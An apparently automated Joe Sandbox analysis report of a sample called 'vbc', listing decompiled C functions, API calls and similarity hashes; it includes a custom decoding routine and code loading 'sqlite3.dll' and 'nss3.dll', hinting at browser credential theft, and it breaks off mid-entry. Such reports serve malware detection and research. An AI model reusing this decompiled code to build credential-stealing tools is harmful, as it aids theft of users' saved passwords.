                                                                                                              0x0040a1f2
                                                                                                              0x0040a1f4
                                                                                                              0x0040a1fa
                                                                                                              0x0040a1fd
                                                                                                              0x0040a255
                                                                                                              0x00000000
                                                                                                              0x0040a256
                                                                                                              0x0040a1ff
                                                                                                              0x0040a1ff
                                                                                                              0x0040a201
                                                                                                              0x0040a21f
                                                                                                              0x0040a224
                                                                                                              0x0040a229
                                                                                                              0x0040a22f
                                                                                                              0x0040a235
                                                                                                              0x0040a23e
                                                                                                              0x00000000
                                                                                                              0x0040a23e
                                                                                                              0x0040a231
                                                                                                              0x0040a233
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040a241
                                                                                                              0x0040a241
                                                                                                              0x0040a247
                                                                                                              0x0040a24a
                                                                                                              0x0040a24d
                                                                                                              0x0040a24d
                                                                                                              0x00000000
                                                                                                              0x0040a201
                                                                                                              0x0040a190
                                                                                                              0x0040a190
                                                                                                              0x0040a192
                                                                                                              0x0040a198
                                                                                                              0x0040a19c
                                                                                                              0x0040a19f
                                                                                                              0x0040a1a0
                                                                                                              0x0040a1a5
                                                                                                              0x0040a1a8
                                                                                                              0x0040a1ae
                                                                                                              0x0040a1b2
                                                                                                              0x0040a1b3
                                                                                                              0x0040a1b8
                                                                                                              0x0040a1bb
                                                                                                              0x0040a1bf
                                                                                                              0x0040a1c5
                                                                                                              0x0040a1ce
                                                                                                              0x0040a1d1
                                                                                                              0x00000000
                                                                                                              0x0040a1d1
                                                                                                              0x0040a1c1
                                                                                                              0x0040a1c3
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040a1d8
                                                                                                              0x0040a1d8
                                                                                                              0x0040a1de
                                                                                                              0x0040a1e1
                                                                                                              0x0040a1e4
                                                                                                              0x0040a1e4
                                                                                                              0x0040a1ec
                                                                                                              0x0040a1f0
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040892D: ??2@YAPAXI@Z.MSVCRT ref: 0040894E
                                                                                                                • Part of subcall function 0040892D: ??3@YAXPAX@Z.MSVCRT ref: 00408A15
                                                                                                              • strlen.MSVCRT ref: 0040A13F
                                                                                                              • atoi.MSVCRT ref: 0040A14D
                                                                                                              • _mbsicmp.MSVCRT ref: 0040A1A0
                                                                                                              • _mbsicmp.MSVCRT ref: 0040A1B3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _mbsicmp$??2@??3@atoistrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 4107816708-0
                                                                                                              • Opcode ID: 04d0626d4e34a8bed9540d47d501c89c47d505d3d6eba4bb40819434c6ba53c8
                                                                                                              • Instruction ID: ad5e67b725479cd3c0fe98911646f79d6f4c04cefe3616236e53ea043d5b2769
                                                                                                              • Opcode Fuzzy Hash: 04d0626d4e34a8bed9540d47d501c89c47d505d3d6eba4bb40819434c6ba53c8
                                                                                                              • Instruction Fuzzy Hash: 24414B75900304AFCB10DFA9C580A9ABBF5FB48308F1084BEEC05AB392D7399A51CB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410E8A Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00410E8A(char* __eax, void* __edi) {
				unsigned int _v5;
				signed int _v6;
				signed int _v7;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t37;
				char* _t56;
				signed char _t57;
				char* _t67;
				void* _t68;
				void* _t69;

				_t68 = __edi;
				_t56 = __eax;
				_t69 = 0;
				_t37 = strlen(__eax) + 0xfffffffd;
				_v16 = _t37;
				if(_t37 < 0) {
					L18:
					 *((char*)(_t69 + _t68)) = 0;
					return _t69;
				}
				_v12 = 0xfffffffe;
				_v12 = _v12 - _t56;
				_t5 = _t56 + 2; // 0x411004
				_t67 = _t5;
				while(1) {
					_t6 = _t67 - 2; // 0x75fff88b
					_t39 =  *_t6;
					if( *_t6 != 0x2e) {
						_v6 = E00410E56(_t39);
					} else {
						_v6 = 0x3e;
					}
					_t9 = _t67 - 1; // 0xfc75fff8
					_t41 =  *_t9;
					if( *_t9 != 0x2e) {
						_v5 = E00410E56(_t41);
					} else {
						_v5 = 0x3e;
					}
					_t43 =  *_t67;
					if( *_t67 != 0x2e) {
						_t57 = E00410E56(_t43);
					} else {
						_t57 = 0x3e;
					}
					_t45 =  *((intOrPtr*)(_t67 + 1));
					if( *((intOrPtr*)(_t67 + 1)) != 0x2e) {
						_v7 = E00410E56(_t45);
					} else {
						_v7 = 0x3e;
					}
					 *(_t68 + _t69) = _v5 >> 0x00000004 | _v6 << 0x00000002;
					if( *_t67 == 0x2d) {
						break;
					}
					 *(_t69 + _t68 + 1) = _t57 >> 0x00000002 | _v5 << 0x00000004;
					if( *((char*)(_t67 + 1)) == 0x2d) {
						 *((char*)(_t69 + _t68 + 2)) = 0;
						_t34 = _t69 + 2; // 0x2
						return _t34;
					}
					_t69 = _t69 + 3;
					 *(_t69 + _t68 - 1) = _t57 << 0x00000006 | _v7;
					_t25 = _t69 + 5; // 0x2
					_t67 = _t67 + 4;
					if(_t25 >= 0x3ff || _v12 + _t67 > _v16) {
						goto L18;
					} else {
						continue;
					}
				}
				 *(_t69 + _t68 + 1) = 0;
				_t31 = _t69 + 1; // 0x1
				return _t31;
			}














                                                                                                              0x00410e8a
                                                                                                              0x00410e92
                                                                                                              0x00410e95
                                                                                                              0x00410e9c
                                                                                                              0x00410ea0
                                                                                                              0x00410ea3
                                                                                                              0x00410f5b
                                                                                                              0x00410f5b
                                                                                                              0x00000000
                                                                                                              0x00410f5f
                                                                                                              0x00410ea9
                                                                                                              0x00410eb0
                                                                                                              0x00410eb3
                                                                                                              0x00410eb3
                                                                                                              0x00410eb6
                                                                                                              0x00410eb6
                                                                                                              0x00410eb6
                                                                                                              0x00410ebb
                                                                                                              0x00410ec8
                                                                                                              0x00410ebd
                                                                                                              0x00410ebd
                                                                                                              0x00410ebd
                                                                                                              0x00410ecb
                                                                                                              0x00410ecb
                                                                                                              0x00410ed0
                                                                                                              0x00410edd
                                                                                                              0x00410ed2
                                                                                                              0x00410ed2
                                                                                                              0x00410ed2
                                                                                                              0x00410ee0
                                                                                                              0x00410ee4
                                                                                                              0x00410eef
                                                                                                              0x00410ee6
                                                                                                              0x00410ee6
                                                                                                              0x00410ee6
                                                                                                              0x00410ef1
                                                                                                              0x00410ef6
                                                                                                              0x00410f03
                                                                                                              0x00410ef8
                                                                                                              0x00410ef8
                                                                                                              0x00410ef8
                                                                                                              0x00410f14
                                                                                                              0x00410f1a
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00410f29
                                                                                                              0x00410f31
                                                                                                              0x00410f6f
                                                                                                              0x00410f74
                                                                                                              0x00000000
                                                                                                              0x00410f74
                                                                                                              0x00410f39
                                                                                                              0x00410f3c
                                                                                                              0x00410f40
                                                                                                              0x00410f43
                                                                                                              0x00410f4b
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00410f4b
                                                                                                              0x00410f65
                                                                                                              0x00410f6a
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen
                                                                                                              • String ID: >$>$>
                                                                                                              • API String ID: 39653677-3911187716
                                                                                                              • Opcode ID: cc9d2e4949e9ff96ebc93a83fa171427e13732e23a33d014681ceaf85bfc699f
                                                                                                              • Instruction ID: 69dee6f6c2e5f632f5f5b053a668a00b89048f502478ac4f4f3cd81ce8891ac8
                                                                                                              • Opcode Fuzzy Hash: cc9d2e4949e9ff96ebc93a83fa171427e13732e23a33d014681ceaf85bfc699f
                                                                                                              • Instruction Fuzzy Hash: D331D5318097C49ED7218B6980563EFFFA14F26304F188ADAD0E557343D2EC96CAC75A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BC6D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 50%
                                                                                                              			E0040BC6D(signed int __eax, void* __ecx, void* _a4) {
				unsigned int _t23;
				signed int _t25;
				unsigned int _t34;
				unsigned int _t36;
				void* _t40;
				unsigned int _t45;
				void* _t46;
				int _t47;
				void* _t48;
				void* _t50;

				_t48 = __ecx;
				_t34 = __eax;
				_t23 =  *(__ecx + 0x10);
				_t36 = _t23 + __eax * 8;
				 *(__ecx + 0x10) = _t36;
				if(_t36 < _t23) {
					 *((intOrPtr*)(__ecx + 0x14)) =  *((intOrPtr*)(__ecx + 0x14)) + 1;
				}
				 *((intOrPtr*)(_t48 + 0x14)) =  *((intOrPtr*)(_t48 + 0x14)) + (_t34 >> 0x1d);
				_t25 = _t23 >> 0x00000003 & 0x0000003f;
				if(_t25 == 0) {
					L6:
					if(_t34 >= 0x40) {
						_t45 = _t34 >> 6;
						do {
							memcpy(_t48 + 0x18, _a4, 0x40);
							_t50 = _t50 + 0xc;
							E0040BD8A(_t48 + 0x18, _t48);
							_a4 = _a4 + 0x40;
							_t34 = _t34 - 0x40;
							_t45 = _t45 - 1;
						} while (_t45 != 0);
					}
					_push(_t34);
					_push(_a4);
					_push(_t48 + 0x18);
				} else {
					_t46 = 0x40;
					_t47 = _t46 - _t25;
					_t40 = _t48 + 0x18 + _t25;
					if(_t34 >= _t47) {
						memcpy(_t40, _a4, _t47);
						_t50 = _t50 + 0xc;
						E0040BD8A(_t48 + 0x18, _t48);
						_a4 = _a4 + _t47;
						_t34 = _t34 - _t47;
						goto L6;
					} else {
						_push(_t34);
						_push(_a4);
						_push(_t40);
					}
				}
				return memcpy();
			}













                                                                                                              0x0040bc72
                                                                                                              0x0040bc74
                                                                                                              0x0040bc76
                                                                                                              0x0040bc79
                                                                                                              0x0040bc7f
                                                                                                              0x0040bc82
                                                                                                              0x0040bc84
                                                                                                              0x0040bc84
                                                                                                              0x0040bc8c
                                                                                                              0x0040bc92
                                                                                                              0x0040bc95
                                                                                                              0x0040bcc7
                                                                                                              0x0040bcca
                                                                                                              0x0040bcce
                                                                                                              0x0040bcd1
                                                                                                              0x0040bcda
                                                                                                              0x0040bcdf
                                                                                                              0x0040bce7
                                                                                                              0x0040bcec
                                                                                                              0x0040bcf0
                                                                                                              0x0040bcf3
                                                                                                              0x0040bcf3
                                                                                                              0x0040bcd1
                                                                                                              0x0040bcf6
                                                                                                              0x0040bcf7
                                                                                                              0x0040bcfd
                                                                                                              0x0040bc97
                                                                                                              0x0040bc99
                                                                                                              0x0040bc9a
                                                                                                              0x0040bc9e
                                                                                                              0x0040bca2
                                                                                                              0x0040bcb0
                                                                                                              0x0040bcb5
                                                                                                              0x0040bcbd
                                                                                                              0x0040bcc2
                                                                                                              0x0040bcc5
                                                                                                              0x00000000
                                                                                                              0x0040bca4
                                                                                                              0x0040bca4
                                                                                                              0x0040bca5
                                                                                                              0x0040bca8
                                                                                                              0x0040bca8
                                                                                                              0x0040bca2
                                                                                                              0x0040bd0a

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: @
                                                                                                              • API String ID: 3510742995-2766056989
                                                                                                              • Opcode ID: 72109dd3c061e5e7965399845177051784b2c116136a58e32e92d3e3a8f21608
                                                                                                              • Instruction ID: cecad1072309209c94eeb2778a75b30bbc980c70aaade9bdc77468b7d13379ad
                                                                                                              • Opcode Fuzzy Hash: 72109dd3c061e5e7965399845177051784b2c116136a58e32e92d3e3a8f21608
                                                                                                              • Instruction Fuzzy Hash: 8B112BB29003056BDB288F16D8809AA77EAEF50344700063FFD0796291FB39DE55C6DC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406F6F Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 93%
                                                                                                              			E00406F6F(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L004115D0();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L004115D6();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}















                                                                                                              0x00406f6f
                                                                                                              0x00406f70
                                                                                                              0x00406f70
                                                                                                              0x00406f73
                                                                                                              0x00406f77
                                                                                                              0x00406f8a
                                                                                                              0x00406f8a
                                                                                                              0x00406f8e
                                                                                                              0x00406f90
                                                                                                              0x00406f96
                                                                                                              0x00406f97
                                                                                                              0x00406f9a
                                                                                                              0x00406fa3
                                                                                                              0x00406fa4
                                                                                                              0x00406fa9
                                                                                                              0x00406fb3
                                                                                                              0x00406fb5
                                                                                                              0x00406fba
                                                                                                              0x00406fc1
                                                                                                              0x00406fcb
                                                                                                              0x00406fcd
                                                                                                              0x00406fce
                                                                                                              0x00406fd3
                                                                                                              0x00406fda
                                                                                                              0x00406fe3
                                                                                                              0x00406f79
                                                                                                              0x00406f79
                                                                                                              0x00406f7b
                                                                                                              0x00406f7d
                                                                                                              0x00406f82
                                                                                                              0x00406f83
                                                                                                              0x00406f86
                                                                                                              0x00406f88
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00406f88
                                                                                                              0x00406ff3
                                                                                                              0x00406ff6
                                                                                                              0x00406fff
                                                                                                              0x00406fff
                                                                                                              0x00406fe8
                                                                                                              0x00406fec

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@??3@memcpymemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1865533344-0
                                                                                                              • Opcode ID: bb104808f1b0262a1a071df1c0bf2fa893e05b8c4abe331c8fc6242f55bf3afc
                                                                                                              • Instruction ID: 30667c860212afb2fcb1bf0ba773cc68d22997902d766bb0abd15f5aaececc89
                                                                                                              • Opcode Fuzzy Hash: bb104808f1b0262a1a071df1c0bf2fa893e05b8c4abe331c8fc6242f55bf3afc
                                                                                                              • Instruction Fuzzy Hash: 81118F71204601AFD328DF1DD881A27F7E6FFD8340B21892EE59B87391DA35E841CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EFAE Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 37%
                                                                                                              			E0040EFAE(char* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				char _v304;
				char* _t18;
				char* _t22;
				char* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040EF36;
					_v16 = __esi;
					__imp__SHBrowseForFolderA(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v304;
						__imp__SHGetPathFromIDListA(_t36, _t23);
						if(_t23 != 0) {
							_t30 = 1;
							strcpy(__esi,  &_v304);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}




















                                                                                                              0x0040efb8
                                                                                                              0x0040efbc
                                                                                                              0x0040efbe
                                                                                                              0x0040efc6
                                                                                                              0x0040efcb
                                                                                                              0x0040efd1
                                                                                                              0x0040efd5
                                                                                                              0x0040efd9
                                                                                                              0x0040efdc
                                                                                                              0x0040efdf
                                                                                                              0x0040efe6
                                                                                                              0x0040efed
                                                                                                              0x0040eff0
                                                                                                              0x0040eff6
                                                                                                              0x0040effa
                                                                                                              0x0040effc
                                                                                                              0x0040f004
                                                                                                              0x0040f00c
                                                                                                              0x0040f016
                                                                                                              0x0040f017
                                                                                                              0x0040f01d
                                                                                                              0x0040f01e
                                                                                                              0x0040f025
                                                                                                              0x0040f028
                                                                                                              0x0040f02e
                                                                                                              0x0040f02e
                                                                                                              0x0040f031
                                                                                                              0x0040f036

                                                                                                              APIs
                                                                                                              • SHGetMalloc.SHELL32(?), ref: 0040EFBE
                                                                                                              • SHBrowseForFolderA.SHELL32(?), ref: 0040EFF0
                                                                                                              • SHGetPathFromIDListA.SHELL32(00000000,?), ref: 0040F004
                                                                                                              • strcpy.MSVCRT(?,?), ref: 0040F017
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: BrowseFolderFromListMallocPathstrcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 409945605-0
                                                                                                              • Opcode ID: 363e444f0183eb3209581039a296e9ed2a0e0cb40b9c5b89ec9b93d888cfbacc
                                                                                                              • Instruction ID: 0bece651b4572a5d25d0fced66708dfb83f65978f11dfbdadd7c1eadd6bf4f14
                                                                                                              • Opcode Fuzzy Hash: 363e444f0183eb3209581039a296e9ed2a0e0cb40b9c5b89ec9b93d888cfbacc
                                                                                                              • Instruction Fuzzy Hash: DD11F7B5900208AFCB10DFA9D9889EEBBFCFB49310F10447AEA05E7241D779DA458B64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A437 Relevance: 6.0, APIs: 4, Instructions: 45stringwindowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 80%
                                                                                                              			E0040A437(void* __esi) {
				void* _v260;
				char _v516;
				void* __ebx;
				char* _t16;
				signed short _t25;
				signed short _t27;
				void* _t28;

				_t28 = __esi;
				_push(E00408647( *((intOrPtr*)(__esi + 0x370))));
				_t25 = 4;
				sprintf( &_v260, E004078FF(_t25));
				_t16 = E00408BDE( *((intOrPtr*)(__esi + 0x370)), 0);
				if(_t16 > 0) {
					_push(_t16);
					_t27 = 5;
					sprintf( &_v516, E004078FF(_t27));
					_t16 = strcat( &_v260,  &_v516);
				}
				if( *((intOrPtr*)(_t28 + 0x108)) != 0) {
					return SendMessageA( *(_t28 + 0x114), 0x401, 0,  &_v260);
				}
				return _t16;
			}










                                                                                                              0x0040a437
                                                                                                              0x0040a44c
                                                                                                              0x0040a44f
                                                                                                              0x0040a45d
                                                                                                              0x0040a46d
                                                                                                              0x0040a474
                                                                                                              0x0040a476
                                                                                                              0x0040a479
                                                                                                              0x0040a487
                                                                                                              0x0040a49a
                                                                                                              0x0040a49f
                                                                                                              0x0040a4aa
                                                                                                              0x00000000
                                                                                                              0x0040a4c0
                                                                                                              0x0040a4c7

                                                                                                              APIs
                                                                                                                • Part of subcall function 004078FF: LoadStringA.USER32 ref: 004079C8
                                                                                                                • Part of subcall function 004078FF: memcpy.MSVCRT ref: 00407A07
                                                                                                              • sprintf.MSVCRT ref: 0040A45D
                                                                                                              • SendMessageA.USER32 ref: 0040A4C0
                                                                                                                • Part of subcall function 004078FF: strcpy.MSVCRT(004172C0,strings,?,?,00408822,?,?,?,?,?,00000000,74EC1245), ref: 0040797A
                                                                                                                • Part of subcall function 004078FF: strlen.MSVCRT ref: 00407998
                                                                                                              • sprintf.MSVCRT ref: 0040A487
                                                                                                              • strcat.MSVCRT(?,?,?,00000000,00000000), ref: 0040A49A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: sprintf$LoadMessageSendStringmemcpystrcatstrcpystrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 919693953-0
                                                                                                              • Opcode ID: 90207433884269e3a26f13c39c42963f5ff8dc1025de2d2684d4a636a9e51624
                                                                                                              • Instruction ID: 75288aada6eb4f7a447a9cf13bdf828529425e42ebb21a5188d22772f738aad9
                                                                                                              • Opcode Fuzzy Hash: 90207433884269e3a26f13c39c42963f5ff8dc1025de2d2684d4a636a9e51624
                                                                                                              • Instruction Fuzzy Hash: 2601DBB250030466D721B775DD86FEB73AC6F00304F40447BB74AF6082DABCE9808B29
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F3BA Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 87%
                                                                                                              			E0040F3BA(char* _a4) {
				void _v267;
				char _v268;
				int _t12;
				signed int _t16;

				_v268 = 0;
				memset( &_v267, 0, 0x104);
				_t12 = strlen(_a4);
				_t5 = strlen("sqlite3.dll") + 1; // 0x1
				if(_t12 + _t5 >= 0x104) {
					_v268 = 0;
				} else {
					E004062AD( &_v268, _a4, "sqlite3.dll");
				}
				_t16 = E0040614B( &_v268);
				asm("sbb eax, eax");
				return  ~( ~_t16);
			}







                                                                                                              0x0040f3d5
                                                                                                              0x0040f3dc
                                                                                                              0x0040f3e4
                                                                                                              0x0040f3f6
                                                                                                              0x0040f3ff
                                                                                                              0x0040f414
                                                                                                              0x0040f401
                                                                                                              0x0040f40b
                                                                                                              0x0040f411
                                                                                                              0x0040f422
                                                                                                              0x0040f42b
                                                                                                              0x0040f432

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F3DC
                                                                                                              • strlen.MSVCRT ref: 0040F3E4
                                                                                                              • strlen.MSVCRT ref: 0040F3F1
                                                                                                                • Part of subcall function 004062AD: strcpy.MSVCRT(00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062B5
                                                                                                                • Part of subcall function 004062AD: strcat.MSVCRT(00000000,00000000,00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062C4
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen$memsetstrcatstrcpy
                                                                                                              • String ID: sqlite3.dll
                                                                                                              • API String ID: 1581230619-1155512374
                                                                                                              • Opcode ID: 3cb808dc3fd31d135458d717301fbb3bbf110c950f4aa8e177593d82486e3e62
                                                                                                              • Instruction ID: fec7c4afce47c381fe657df57b8ff367c384fd882de8837a2d08c6e6e293e1f2
                                                                                                              • Opcode Fuzzy Hash: 3cb808dc3fd31d135458d717301fbb3bbf110c950f4aa8e177593d82486e3e62
                                                                                                              • Instruction Fuzzy Hash: 4BF02D3144C1286ADB10E769DC45FCA7BAC8FA1318F1040B7F586E60D2D9B89AC98668
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004098F4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004098F4(intOrPtr* __ecx, intOrPtr _a4) {
				void _v259;
				char _v260;
				void _v515;
				char _v516;
				void* __esi;
				void* _t15;
				intOrPtr* _t24;
				char* _t26;

				_t24 = __ecx;
				_v260 = 0;
				memset( &_v259, 0, 0xfe);
				_v516 = 0;
				memset( &_v515, 0, 0xfe);
				_t15 =  *((intOrPtr*)( *_t24 + 0x20))();
				_t26 =  &_v260;
				E00409018(_t26, _t15);
				sprintf( &_v516, "</%s>\r\n", _t26);
				return E00405EFD(_a4,  &_v516);
			}











                                                                                                              0x0040990e
                                                                                                              0x00409910
                                                                                                              0x00409917
                                                                                                              0x00409926
                                                                                                              0x0040992d
                                                                                                              0x00409939
                                                                                                              0x0040993d
                                                                                                              0x00409943
                                                                                                              0x00409957
                                                                                                              0x00409971

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00409917
                                                                                                              • memset.MSVCRT ref: 0040992D
                                                                                                                • Part of subcall function 00409018: strcpy.MSVCRT(00000000,?,00409701,?,?,?), ref: 0040901D
                                                                                                                • Part of subcall function 00409018: _strlwr.MSVCRT ref: 00409060
                                                                                                              • sprintf.MSVCRT ref: 00409957
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$FileWrite_strlwrsprintfstrcpystrlen
                                                                                                              • String ID: </%s>
                                                                                                              • API String ID: 3202206310-259020660
                                                                                                              • Opcode ID: 8cbe72e2fc2d9776a491eb44f024350a6eb65ee3e03a862d51b3af92fd5e6b23
                                                                                                              • Instruction ID: adbfc7571eef3522ba50f6b4148bdf50dea618c8f0168b60c77ad4ff43fabaf4
                                                                                                              • Opcode Fuzzy Hash: 8cbe72e2fc2d9776a491eb44f024350a6eb65ee3e03a862d51b3af92fd5e6b23
                                                                                                              • Instruction Fuzzy Hash: B201D1729001297AD720A719CC45FDA7AACAF84304F0400FAB60AF3182DA749F848BA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411932 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 72%
